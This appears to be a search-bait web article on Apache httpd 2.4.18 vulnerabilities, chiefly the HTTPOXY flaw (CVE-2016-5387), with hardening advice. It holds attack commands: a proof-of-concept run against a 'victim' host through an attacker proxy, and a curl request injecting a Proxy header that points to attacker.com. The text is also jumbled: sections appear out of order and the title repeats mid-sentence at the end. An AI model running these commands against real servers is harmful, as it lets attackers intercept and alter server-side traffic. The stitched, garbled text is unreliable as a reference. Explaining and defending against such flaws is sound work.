Apache Httpd 2.4.18 Exploit _hot_ Info

The Hunt for Apache httpd 2.4.18 Exploits: A Retrospective on Vulnerabilities, Failures, and Mitigations

Testing HTTPOXY

git clone https://github.com/cujanovic/HTTPOXY-PoC
cd HTTPOXY-PoC
python3 httpoxy.py -u http://victim/cgi-bin/test-cgi -p http://attproxy:8080

Mitigation: How to Defend a 2.4.18 Server (Even If You Can’t Upgrade)

If you are still running Apache 2.4.18 (e.g., legacy embedded systems), follow these hardening steps:

  1. Disable HTTP/2 utterly (remove mod_http2 or set Protocols HTTP/1.1).
  2. Sanitize CGI environment – Unset HTTP_PROXY in mod_headers: 
    RequestHeader unset Proxy early
  3. Remove mod_userdir and mod_info (common recon vectors).
  4. Use ModSecurity with CRS 3.3+ to block CRLF and header injection.
  5. Compile with memory protections (-fstack-protector-strong, -D_FORTIFY_SOURCE=2).

Better yet, containerize or virtualize so that a compromise is bounded.

1. CVE-2016-5387: HTTPOXY (The Mythical Remote Exploit)

Severity: 7.5 (High)
Type: Information Disclosure / Proxy Misconfiguration apache httpd 2.4.18 exploit

The Vulnerability:
CVE-2016-5387, nicknamed "HTTPOXY," is a misnomer. It is not an Apache bug per se, but a design flaw in how CGI scripts handled the Proxy header. An attacker could send a request containing a Proxy: http://evil.com header, tricking server-side scripts (PHP, Python, Go) into routing outgoing HTTP requests through a malicious proxy.

Exploitability on 2.4.18:

The "Exploit":
No remote code execution (RCE) was possible. Exploitation required:

  1. A CGI or PHP script making internal HTTP requests (e.g., file_get_contents()).
  2. The script respecting the HTTP_PROXY environment variable.
  3. No prior proxy configuration.

Sample Attack (Conceptual):

curl -H "Proxy: http://attacker.com:8080" http://target/cgi-bin/api.php

If api.php called an external service, the attacker could intercept or modify the response.

Verdict: A viable information disclosure tool, but not a remote shell exploit. Searches for an "apache 2.4.18 shell exploit" due to HTTPOXY are misguided. The Hunt for Apache httpd 2